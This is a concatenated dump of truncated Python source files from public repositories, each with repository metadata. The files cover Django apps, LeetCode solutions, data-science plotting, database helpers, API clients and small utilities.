py_scripts_path = os.path.expanduser('~/site/www/1cengine/py_scripts/') #production
secrets_lib_name = "secrets"
secrets_lib_path... |
14a49d68e5123f625dfe8f4f378054cc7a53ac7b | 161f240f8c04183bb1b20d787bae8b97fbe02842 | dxl2016/Leetcode-Contest | /Weekly Contest 200/1535. Find the Winner of an Array Game.py | Python | py | 742 | no_license | class Solution:
def getWinner(self, arr: List[int], k: int) -> int:
if k == 1:
return max(arr[0], arr[1])
s = max(arr)
n = len(arr)
l, r = 0, 1
prev = 0
res = 0
while(arr[0] != s):
now = max(arr[l], arr[r])
if prev ... |
4e3a2308d3af9721a80dfe2a21b4dbece74a5cb2 | f338fb09d21ca7aec4057b53eca46e62e6d9ceb3 | linxon/dfxml | /python/demos/demo_plot_times.py | Python | py | 1,118 | permissive | #!/usr/bin/python
import fiwalk
import time
import os
import sys
sys.path.append( os.path.join(os.path.dirname(__file__), ".."))
import dfxml
if __name__=="__main__":
import sys
from optparse im... |
d47e0be33e6f9709b0dbdf379ef1353afe501cae | fe8cce193f4e53aefb1dc0205e5cbe93802d6785 | meeow/benchmark-replay | /record_play.py | Python | py | 5,158 | no_license | import win32gui, win32api, win32con
import ctypes
import time
import mousefuncs, keyboard
from key_reference import vk_keys, keys, codes, vk_codes
from logger import logger
M = mousefuncs.Mouse()
WIDTH, HEIGHT = win32api.GetSystemMetrics(0), win32api.GetSystemMetrics(1)
BUTTON_DOWN, BUTTON_UP = 1, 0
RECO... |
00a1ea9f74261a4c3ae95fab8ef4efa3704d7b64 | bb834e29e8d453eadc607f7f3ba58134733e848a | svyatoslavkorshunov/lab | /lab8_python/arch1.py | Python | py | 950 | no_license | import mysql.connector
from mysql.connector import Error
import datetime
def create_connection(host_name, user_name, user_password, db_name):
connection = None
try:
connection = mysql.connector.connect(
host=host_name,
user=user_name,
passwd=user_password,
... |
c64d39e26dbd209f8ef5084f48df74d965977526 | 460349b8fe922d565c056d3b326fe564af59d4a4 | LazyElegance13/djangofiles | /django-polls/polls/urls.py | Python | py | 424 | no_license | from django.conf.urls import url
from . import views
app_name = 'polls'
urlpatterns =[
url(r'^$', views.IndexView.as_view(), name='index'),
url(r'^(?P<pk>[0-9]+)/$', views.DetailView.as_view(), name="detail"),
url(r'^(?P<pk>[0-9]+)/results/$', views.ResultsView.as_view(), name="r... |
fe757e05657ded1fbd9d072ead6bb476729433ff | c6ec22dc4974c2455469161a6f42023962b91110 | nirjana/APIproject | /SectorCode/serializers.py | Python | py | 528 | no_license | from django.contrib.auth.models import User, Group
from rest_framework import serializers
class UserSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = User
fields = ['url', 'username', 'email', 'groups']
class GroupSerializer(serializers.HyperlinkedModelSerializer):
clas... |
8b745dc30ae8110ad5eb008b0f7270290e00ef78 | 23af5d3df0c979b53c8e8363399eef7ed410e4e7 | Pranay2309/Python_Programs | /ThreadingConcept5.py | Python | py | 266 | no_license | # without extending thread class
from threading import *
class Test:
def display(self):
for i in range(10):
print("child thread-2")
obj=Test()
t=Thread(target=obj.display)
t.start()
for i in range(10):
print(" main thread-2")
|
f4849dc6c4d862e5bf7b7f431d9e8b251c4fd0ed | e12d61ffb315f4b49e5d253192ad2433800a7570 | miguel-abazan/T1_A8_4s_Baz-nGardu-oMiguelAngel | /venv/Scripts/pip3.7-script.py | Python | py | 446 | no_license | #!C:\Users\Bazán\Desktop\Topicos_A\T1_A7_BaánGarduñoMiguelAngel\venv\Scripts\python.exe -x
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3.7'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.p... |
709a77ae9d9a684833bf9e5946c65b866bd72968 | b4d1ecc7ff18a426ea413676478343980e87d0da | Vincentyua/yslzm | /RetrivalSys/make_index.py | Python | py | 7,674 | no_license | import re
import json
import os
import queue
# 给优先队列的自定义结构
class Term(object):
def __init__(self, word, index_list, id):
self.word = word
self.index_list = index_list
self.id = id
def __lt__(self, other): # operator <
if self.word == other.word:
return self.index... |
0f92e12e531dd148d049dd3fb585c2e8a1f44956 | df64a0391cec983513955a4ca31b79e2fc7cb8ca | YizheZhang-Ervin/Knowledge_Cryptography | /CiperOperations/check_ifenglish.py | Python | py | 1,293 | no_license | upperletters = ''.join([chr(i) for i in range(65, 91)])
lowerletters = ''.join([chr(i) for i in range(97, 123)])
def loadDictionary():
dict = open('dictionary.txt')
englishwords = {}
for w in dict.read().split('\n'):
englishwords[w] = None
dict.close()
return englishwords
def remove_nonl... |
4add7bfcb7f9d0c6dcfca8e1367fa511655e2583 | b65d5ab720012b3a1153be303b4a46a2771db228 | visenger/aggregation | /active_weather/active_weather_backup.py | Python | py | 3,440 | permissive | #!/usr/bin/env python
from __future__ import print_function
import matplotlib.pyplot as plt
import cv2
import preprocessing
from copy import deepcopy
import glob
import numpy as np
__author__ = 'ggdhines'
count = -1
class ActiveWeather:
def __init__(self):
self.regions = [(559,3282,1276,2097)]
def ... |
e8a3e29f0f83811fad7ab1df91e767923686b8ed | 210421f369137463558d1bbb10296da91237eed2 | zjuan22/macsad_latency | /eps_figures/throughput/nat_cores.py | Python | py | 3,014 | no_license | #import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
from cycler import cycler
plt.rcParams['axes.spines.right'] = True
plt.rcParams['axes.spines.bottom'] = True
plt.rcParams['axes.spines.left'] = True
plt.rcParams['axes.axisbelow'] = True
plt.rcParams['axes.axisbelow'] = True
cores = ["2","... |
595dae18731169e2e3658ecf5ec78fb1e0414634 | 9874b0a25a38f621a000d337ce1294e04586f725 | arronrose/wcloud | /wcloud_ws/app_db.py | Python | py | 4,048 | no_license | # -*- coding: utf8 -*-
#!/usr/bin/env python
import pymongo
import logging
import time
import ecode
import config
import re
import mongoUtil
client = mongoUtil.getClient()
db = client[config.get('mongo_db')]
table = db[config.get('mongo_app_table')]
def init_db():
table.drop()
table.create_index([('app_i... |
ba2219936a853303ea45b7c8bc49fb528b164659 | 76295cc1d85646fd358fb349b20404238e8ebdcc | rdobson94/info3180-project4 | /migrations/app/emailscript.py | Python | py | 823 | no_license | import smtplib
def sendemail(toname,toemail,fromsubject,msg):
fromname = 'Wishlist'
fromemail = 'r.dobson1094@gmail.com'
message = """From: {} <{}>\nTo: {} <{}>\nSubject: {}\n\n{}"""
messagetosend = message.format(
fromname,
frome... |
ae89eb483beca9e3f518487756f871317bc725f0 | dbc29ae74ee102e42d99cbed708dc60c56e039ab | 113375/quiz | /lib/python3.8/site-packages/yandex_cloud_client/compute/instance.py | Python | py | 14,503 | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This module contains Instance, Metadata, SchedulingPolicy, Resources classes."""
import logging
from yandex_cloud_client.utils.helpers import universal_obj_hook, human_readable_size, string_to_datetime
from yandex_cloud_client.base import YandexCloudObject
from yandex... |
66e7588a059ab7fbc728bb49e6f9ab74b04b703c | 388d6e423d265c8b35c0b211ecab722662a36f05 | anastasiosv/REST-APIs-repo | /models/store.py | Python | py | 811 | no_license | from db import db
class StoreModel(db.Model):
__tablename__ = 'stores'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(80))
items = db.relationship('ItemModel', lazy='dynamic')
def __init__(self, name):
self.name = name
def json(self):
return {
... |
bd4d376c9f2cc8b2a0c9c3794d21397499de02c9 | bc8cc1b48194738c83d854fb8f5cb718cb8d3dd2 | cranties/dukascopy | /dukascopy/main.py | Python | py | 1,964 | permissive | #!/usr/bin/env python3.5
import argparse
from datetime import date, timedelta
from dukascopy.app import app
from dukascopy.core import valid_date, set_up_signals
from dukascopy.core.utils import valid_timeframe, TimeFrame
VERSION = '0.2.1'
def main():
parser = argparse.ArgumentParser(prog='dukascopy', usage='%... |
1e8f25c906a6d6befe1061d4be74b43a5aec1b2e | e95bbc78d7810b49b1cb965e1f8a76fafe9ebb46 | enderdzz/ReverseThings | /2019/flareon6/7 - wopr/_wopr.exe.extracted/b/c/e/PYC104.pyc.py | Python | py | 19,067 | no_license | # uncompyle6 version 3.3.5
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.16 (default, Mar 4 2019, 09:02:22)
# [GCC 4.2.1 Compatible Apple LLVM 10.0.0 (clang-1000.11.45.5)]
# Embedded file name: mimetypes.py
"""Guess the MIME type of a file.
This module defines two useful functions:
guess_type(url, stri... |
0c45bf7f231305af4fd6dde42a570f7f76dc9b33 | 71c3986ce9fc91d4e35168935765fba3eea2c255 | potato-csh/Work_learning | /web.py | Python | py | 6,854 | no_license | import socket
import os
import threading
import sys
import framework
import logging
# http协议的web服务器类
class HttpWebServer(object):
def __init__(self, port):
# 创建tcp服务端套接字
tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置端口号复用,程序退出端口号立即释放
tcp_server_socket.se... |
c8223fd7ff89c598664a9cd5915ccd4978a999ff | 94c6dfd6dec24e16e0f9ed583e2b6b5b1d4cf5fb | akusok/hpelm | /hpelm/mss_loo.py | Python | py | 2,807 | permissive | # -*- coding: utf-8 -*-
"""
Created on Mon Oct 27 17:48:33 2014
@author: akusok
"""
import numpy as np
def train_loo(self, X, T):
"""Model structure selection with Leave-One-Out (LOO) validation.
Trains ELM, validates model with LOO and sets an optimal validated solution. Effect is similar to
cross-val... |
f3d71805f360332d666f254bfcacdcf937170377 | eb2132a5e187cf1ddfb823e3df74ea65cd12a627 | birkin/ldap_browntype_code | /controller.py | Python | py | 12,304 | no_license | """
Iterates through a file of usernames, and, for each:
- get the user's LDAP status
- update ILLiad with the user's status
"""
import datetime, json, logging, os, pprint, subprocess, time
import requests
LOG_PATH = os.environ['LDP_BRNTP__LOG_PATH']
LOG_LEVEL = os.environ['LDP_BRNTP__LOG_LEVEL']
USER_FILEPATH = os.... |
376f57b146fdf9d3dfe7d212b3e40eada708a68c | 81a9aef0472d7ffa2fcd66c78445a8d3b59a462e | Evernight/dotfiles | /scripts/bisect.py | Python | py | 923 | no_license | #!/bin/env python
import argparse
import subprocess
import sys
parser = argparse.ArgumentParser(description='bisect')
parser.add_argument('--pre')
parser.add_argument('--post')
args = parser.parse_args()
print "Running pre-script"
if args.pre:
process = subprocess.Popen(args.pre, stdout=subprocess.PIPE, shell=Tr... |
2b6f448caa3c6fc7b8ee592d2604102740df18fc | f290185a0620d590d188348199cfa650c280dce1 | pajem/ai-for-robotics | /2-kalman_filters/matrix.py | Python | py | 4,860 | no_license | # matrix class provided in the course
from math import *
class matrix:
# implements basic operations of a matrix class
def __init__(self, value):
self.value = value
self.dimx = len(value)
self.dimy = len(value[0])
if value == [[]]:
self.dimx = 0
d... |
0fb324b78f0098857b44d2e864a7be1f133a4523 | edc1c12a2d67ac83113904b24091e0c4e252f8df | CeLuigi/python-scopus | /pyscopus/scopus.py | Python | py | 9,974 | permissive | # -*- coding: utf-8 -*-
import requests, warnings
import numpy as np
import pandas as pd
from datetime import date
from pyscopus import APIURI
from pyscopus.utils import _parse_author, _parse_author_retrieval,\
_parse_affiliation, _parse_entry, _parse_citation,\
_parse_abstract_retrieval, trunc,\
... |
8e5aae770196eeb3339b04d6c9a59603fd32bc61 | d0b7b75d31a9b6b146d9044472d1a390d4470311 | aars/HydroTower | /python/relay.py | Python | py | 368 | no_license | import RPi.GPIO as GPIO
import time
channel = 16
GPIO.setmode(GPIO.BCM)
GPIO.setup(channel, GPIO.OUT)
GPIO.output(channel, GPIO.LOW)
time.sleep(10)
GPIO.output(channel, GPIO.HIGH)
time.sleep(10)
while True:
GPIO.output(channel, GPIO.LOW)
time.sleep(60 * 5)
GPIO.output(channel, GPIO.HIGH)... |
4b70464cf8bc37bc8fa53d464fae634fcd5a493f | 590b6bb27123bc3f6a16fe218cdc5453ae24f4ef | mayurfartade/mayurfartade.github.io | /python/hackwithinfy-sam-and-alex.py | Python | py | 310 | no_license |
p = list(map(int,input().split()))
k = int(input())
counter = -1
while all(p):
counter += 1
a = [x for x in p if x>=k ]
if len(a):
p[p.index(max(a))] -= k
else:
p[p.index(max(p))] = 0
if counter%2 == 0:
print("Sam")
else:
print("Alex")
'''
sum of array % k ==
''' |
3487892a41c2f91dbbb1fb95dde03ad898390a38 | b46039fe1ce9a0f61f47a3762e6d59dd38e6c6bd | ilya-jurawlew/my_projects | /Only_Python/Python-messenger/client.py | Python | py | 1,830 | no_license | import asyncio
from asyncio import transports
from PySide2.QtWidgets import QMainWindow, QApplication
from asyncqt import QEventLoop
from interface import Ui_MainWindow
class ClientProtocol(asyncio.Protocol):
transport: transports.Transport
window: 'MainWindow'
def __init__(self, chat: 'MainWindow'):
... |
4eaf49166f607a432a6b696f7f2b89547a8a793e | 9d1a6c7ce50c8659d58be26421bc17ddca93e196 | meng-jia/wenzheng | /projects/feed/rank/tf/loss.py | Python | py | 1,689 | no_license | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# ==============================================================================
# \file loss.py
# \author chenghuige
# \date 2019-07-28 15:15:35.162774
# \Description
# ==================================================================... |
da07198f7063baefe51ae830cbf38c50b61274e6 | 1ce8031b8d14946abb47f684511e68270034f4d6 | golemfactory/pydevp2p | /setup.py | Python | py | 1,770 | permissive | #!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from setuptools import setup, find_packages
except ImportError:
from distutils.core import setup
readme = open('README.rst').read()
history = open('HISTORY.rst').read().replace('.. :changelog:', '')
install_requires = set(x.strip() for x in open('requireme... |
fd0aef810dd01adfb701bf90988b723d00895be0 | 4f7e6993aace56125777cd246c0de0d2c474f5f4 | PDN96/N-Queens | /nrooks.py | Python | py | 2,971 | no_license | #!/usr/bin/env python
# nrooks.py : Solve the N-Rooks problem!
# D. Crandall, 2016
# Updated by Zehua Zhang, 2017
#
# The N-rooks problem is: Given an empty NxN chessboard, place N rooks on the board so that no rooks
# can take any other, i.e. such that no two rooks share the same row or column.
import sys
import time... |
ee464a8e52a0ad9dfaacc08b6fbfce773fe24084 | 70ceea289445aa71f88a932020642bc85afe71b1 | bv3rgara/test | /web/urls.py | Python | py | 1,326 | no_license | from django.conf.urls import url
from django.contrib.auth.decorators import login_required
from django.contrib.auth.views import password_reset, password_reset_done, password_reset_confirm, password_reset_complete
from . import views
urlpatterns = [
url(r'^inicio/$', login_required(views.vista_inicio), name='ini... |
c3f8f436bab2dcf5bc3d273c5338892c2a0fe970 | ea8d7c9ec3ba3faa903560c1d3c39f089ed18179 | ethanlee6/myw | /webapp/controllers/blog.py | Python | py | 3,978 | no_license | import datetime
from sqlalchemy import func
from flask import render_template, Blueprint,redirect,url_for,abort
from webapp.extensions import poster_permission,admin_permission
from flask_login import login_required,current_user
from flask_principal import Permission,UserNeed
from webapp.models import db, Post, Tag, ... |
20174aec0c3967cbba66ed9b86c6e5f92f5f1f2d | c10813478272cb9c746e1244ded5c368bcc60ec1 | nghiank/rec_table | /train/train_digits.py | Python | py | 3,388 | no_license | import tensorflow as tf
import time
import numpy as np
from tensorflow.examples.tutorials.mnist import input_data
import matplotlib.pyplot as plt
from IPython.display import display, Image
from PIL import Image
start = time.clock()
mnist = input_data.read_data_sets('data/MNIST_data', one_hot=True)
def weight_variable... |
c41285475594b72ca076f942bc0670b2dbfbce18 | 9e7b90c3782ea0c8719d7d1dc949e1fccbfe021b | tpretz/vinyldns | /modules/api/functional_test/perf_tests/uat_sync_test.py | Python | py | 2,035 | permissive | from hamcrest import *
from vinyldns_client import VinylDNSClient
from vinyldns_context import VinylDNSTestContext
import time
def test_sync_zone_success():
"""
Test syncing a zone
"""
zone_name = 'small'
client = VinylDNSClient()
zones = client.list_zones()['zones']
zone = [z for z in zon... |
00804be80e5069bd965f36f6f640e554feebbbf0 | b292e746725bf5fdf9dafbcde9d1ffb4684d5701 | maleksal/holbertonschool-web_back_end | /0x06-Basic_authentication/api/v1/app.py | Python | py | 1,514 | no_license | #!/usr/bin/env python3
"""
Route module for the API
"""
from os import getenv
from api.v1.views import app_views
from flask import Flask, jsonify, abort, request
from flask_cors import (CORS, cross_origin)
import os
app = Flask(__name__)
app.register_blueprint(app_views)
CORS(app, resources={r"/api/v1/*": {"origins":... |
5695540a36e01cd7af3cd8ef52a05a031c682af5 | f527dec14092a42f764e9c85efd9d9c1849bf690 | Lharagon/django_examples | /blog/mysite/blog/migrations/0001_initial.py | Python | py | 1,366 | no_license | # Generated by Django 2.0.5 on 2018-10-08 23:00
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUT... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.